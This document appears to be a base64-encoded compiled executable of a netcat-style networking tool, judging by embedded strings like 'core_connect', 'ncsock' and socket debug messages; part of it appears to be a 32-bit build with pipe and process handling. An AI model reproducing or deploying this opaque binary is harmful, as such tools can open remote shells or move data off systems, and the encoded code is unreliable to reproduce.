4BAAAASI2dAPX//0Ux/0SJteDw//9BicaAPZJ/AAAAdAfoqOv//+sJQQ+3/+iP6v//QYnHiwVQfwAAiYUM9f//iwV4fwAAiYUI9f//ungBAABIjb0Q9f//SI21CP7//+iaHQAADyhFgA8oTZAPKFWgDyhdsEiNhQD4//8PEQAPEUgQDxFQIA8RWDAPEEW8DxFAPLp4AQAASI29iPb//0iNtZD8///oVB0AAEEPt9dIjb1M+P//MfboXgoAAEmJ3UiJ3+jnzv//hcB5YYO9DPX//wIPhBMCAABB/85Ijb2I9v//SI21TPj//+i1CwAASInD6DYcAACLOOiFHQAAi73U8P//SI01qDUAAEiJ2kiJwTHA6Drt//9BjUYBg/gBTInrD4/x/v//6SIBAABBicRBjUb/iYXg8P//gD11fgAAAHQkRInnvgIAAADo/RwAAESJ5+gLHAAAQYP+AUG+AAAAAEyJ6+trSIM9YH4AAABMiet0G78gAAAASI01tDQAADHA6Mvs//9Iid/o5QMAAEiJ30iNtTjx///orNr//0iNPZI1AAAxwOhI8///v0ARAABIicYxwOiX7P//gD3lfQAAAA+FKQEAAEGD/gFBvgAAAACLheDw//8PjzH+///rdoP4Aw+FEAEAAEiNvQD1///ous3//4XAD4imAAAASI29yPj//0iNtQD1///oOtr//0iNPaM0AABFMfYx9jHA6NHy//+/RBEAAEiJxjHA6CDs///rIkiNNbM0AAC/CBIAADHA6Avs//9BvgEAAADrB0SLteDw//9IjT3oNAAAMcDokPL//79AEQAASInGMcDo3+v//zH/6Cvu//9IiwXeOgAASIsASDtF0A+FugAAAESJ8EiBxBgPAABbQVxBXUFeQV9dw4M94XwAAAJ0UkiNvYj2//9IjbVM+P//6OUJAABIicPoZhoAAIs46LUbAABIjTXeMwAAvxAAAABIidpIicExwOhr6///6Vv////oshgAAEUx9uld////6F8YAADofRgAAOjG8f//6w9Ii4XY8P//SIs46Ozw//8x/+hhGgAATInn6H0aAABIjTWkMgAAvwASAABMifoxwOgU6///vwEAAADoORoAAOjyGQAAZpC49P//bvX//271//9u9f//bvX//+/0//9u9f//bvX//271//8x9v//bvX//271//9s9v//pfb//271//+0////bvX//271//9u9f//bvX//271//9u9f//bvX//271//9u9f//bvX//271//9u9f//sfb//2D3//+99v//bvX//7j0//+7////9fb//271//9u9f//bPf//271//8m9///Mvf//8D1//9u9f//VPf///j1//+J9f//l/f//6b3//+x9///SPf//271//+Y9f//VUiJ5YA9fnsAAAB1E0iNNSszAAC/EAAAADHA6BPq//+APUJ7AAAASI0FTzMAAEiNNUMzAABID0TwSI09CDMAADHA6I7w//+/QBEAAEiJxjHA6N3p///GBSx7AAABgD0FewAAAHUCXcOAPRx7AAAAdAq/CgAAAOh9GQAAMf/oBOz//78BAAAA6NYYAABVSInlgD3xegAAAHUTSI014zIAAL8QAAAAMcDoh+n//4A9tnoAAABIjQXDMgAASI01tzIAAEgPRPBIjT3DMgAAMcDoAvD//79AEQAASInGMcDoUen//8YFn3oAAAGAPXl6AAAAdQJdw78BAAAA6GQYAABVSInlgD1gegAAAEiNBW0yAABIjTVhMgAASA9E8EiNPZ4yAAAxwOis7///v0QRAABIicYxwOj76P//gD0qegAAAHQLvwEAAABd6Trr///GBTd6AAABXcNVSInlQVZTSIX/D4S4AAAASIn7gz8AD4isAAAAvwIAAADo1RcAAEGJxos7MfbozxcAAIs76LYXAAAx/74BAAAA6LwXAAAx/74CAAAA6LAXAABIix0DegAASInfvi8AAADothgAAEiNcAFIhcBID0TzSI09SDIAAEiNFUkyAABIidlFMcAxwOh8FwAARIn3vgIAAADoaRcAAEiLHbx5AADoFRcAAIs46GQYAABIjTUYMgAAvwgSAABIidpIicExwFtBXl3pFuj//+iFFQAAVUiJ5UFXQVZBVUFUU0iB7BgBAABIiwUDNwAASIsASIlF0EiF9g+ESAQAAEiJ84A+AA+EPAQAAEmJ/UiNPQEyAABMie5IidoxwOhl7v//v0ARAABIicYxwOi05///vngBAABMie/odhYAAEiNlcj+//+/AgAAAEiJ3ugoFwAAhcAPhPwAAABIjb3I/v//iwdBiYVgAQAATY21AAEAAOjwAwAAuhAAAABMifdIicbolhcAAEiNBbd4AABBtwGAOAAPhYgDAABIjb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WF/0wPROhBjVwkAUyNvVD///+J30yJ/jHSMclNiejoiQwAAIXAeQ/obAsAAIM4BHTh6OwKAABIjbVQ////RInnMdLoSwsAAIXAdEFJwe4FQouEtVD///9ED6Pgcy9Eiecx9jHS6E0LAACJw0iNPYgpAACJxjHA6OTi//+/QBEAAEiJxjHA6DPc///rF8YFrnEAAADoAAsAAMcAPAAAALv/////idhIgcSIAAAAW0FcQV1BXkFfXcOQkJBVSInlQVdBVkFVQVRTSIPsGEiJ/kiLh7gDAABIiUXIRIuvwAMAAEiNPTMpAABFMeRIiXXAMcDoauL//79AEQAASInGMcDoudv//0WF7Q+OQgEAAEUx9kyNBTtxAABMjQ1QAQAARTHkSIt9yE1j/kKKDD+LBSRxAACA+f90BIXAdERIY9BBjVwkAY1wAYk1CnEAAEKIDAKFwHQoig35cAAAgMEQgPkPdxoPtslJYwyJTAHJ/+HHBd5wAAAAAAAAhdt/EEGJ3EH/xkU57nye6cMAAABFMeRIjT2jKAAAid4xwOjA4f//v0IQAABIicYxwOgP2///QY1GAUiLTchJjXQPAUSJ6SnBKdhIY/hIA33ISGPR6J8KAABMjQ2WAAAATI0Fc3AAAEiLfchBKd5BKd3rlIP4AnyMZsdF1P/+6w+D+AIPjHv///9mx0XU//yKBUdwAACIRdZIi0XAizi6AwAAAEiNddTo9AoAAEyNDUMAAABMjQUgcAAASIt9yOkz////RInwRCngSJjGBAf/RInj6R////9FKeVIi0XARImowAMAAEiDxBhbQVxBXUFeQV9dw2aQAP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///99////ff///4r///+K////zf///1VIieVBV0FWQVVBVFNIg+xIQYn2SIn7SIsF/igAAEiLAEiJRdC/BAAAAOiHCQAASIXAD4T0AQAASYnERTH/vwIAAAC+AgAAADHS6M0JAACJRbyFwEiJXZgPiOkBAABEiXWkQb3AAAAAMdtMjXWoSInf6OwIAABNY/1Mif/oNQkAAESJfahIiUWsSIXAD4SnAQAASInDRTH/viRpDMCLfbxMifIxwOgACQAAhcAPiJUBAACLRahBjY2gAAAARDnoQYnNfaqFwA+E/gEAAL8gAAAAMdtFMf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kK////aHgBAADpAP///2iIAQAA6fb+//9olQEAAOns/v//aKsBAADp4v7//2jBAQAA6dj+//9o1QEAAOnO/v//aOkBAADpxP7//2j/AQAA6br+//9oFQIAAOmw/v//aCkCAADppv7//2g8AgAA6Zz+//9oUQIAAOmS/v//aGMCAADpiP7//2h1AgAA6X7+//9ogwIAAOl0/v//aJICAADpav7//2ihAgAA6WD+//9osAIAAOlW/v//aMACAADpTP7//2jPAgAA6UL+//9o3gIAAOk4/v//aO4CAADpLv7//2j7AgAA6ST+//9oCgMAAOka/v//aBcDAADpEP7//2gnAwAA6Qb+//9oOAMAAOn8/f//aEgDAADp8v3//2hcAwAA6ej9//9obwMAAOne/f//aIADAADp1P3//2iSAwAA6cr9//9oowMAAOnA/f//aLIDAADptv3//2jCAwAA6az9//9o0gMAAOmi/f//aOUDAADpmP3//2j0AwAA6Y79//9oAwQAAOmE/f//aBQEAADpev3//2gkBAAA6XD9//9oNAQAAOlm/f//aEMEAADpXP3//2hQBAAA6VL9//9oXwQAAOlI/f//aHEEAADpPv3//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AGtNR1QAY29yZV9jb25uZWN0AGNvcmUuYwBuY3NvY2sAY29yZV9saXN0ZW4AY29yZV9yZWFkd3JpdGUAbmNfbWFpbiAmJiBuY19zbGF2ZQBjb3JlX3JlYWR3cml0ZShuY19tYWluPSVwLCBuY19zbGF2ZT0lcCkAZmRfc29jayA+PSAwAGZkX3N0ZGluID49IDAAd2F0Y2hpbmcgbWFpbiBzb2NrIGZvciBpbmNvbWluZyBkYXRhIChyZWN2cSBpcyBlbXB0eSkAd2F0Y2hpbmcgc2xhdmUgc29jayBmb3IgaW5jb21pbmcgZGF0YSAocmVjdnEgaXMgZW1wdHkpAHdhdGNoaW5nIG1haW4gc29jayBmb3Igb3V0Z29pbmcgYXZhaWxhYmlsaXR5ICh0aGVyZSBpcyBwZW5kaW5nIGRhdGEpAFtzZWxlY3RdIGVudGVyaW5nIHdpdGggdGltZW91dD0lZDolZCAuLi4Ac2VsZWN0KGNvcmVfcmVhZHdyaXRlKQByZXQ9JWQKAHJlYWQoc3RkaW4pID0gJWQAcmVhZChzdGRpbikARU9GIFJlY2VpdmVkIGZyb20gc3RkaW4hIChleGl0aW5nIGZyb20gbG9vcC4uKQBFT0YgUmVjZWl2ZWQgZnJvbSBzdGRpbiEgKHJlbW92aW5nIGZyb20gbG9va3Vwcy4uKQB0aGVyZSBhcmUgJWQgZGF0YSBieXRlcyBpbiBzbGF2ZS0+cmVjdnEAICBtb3ZlZCAlZCBkYXRhIGJ5dG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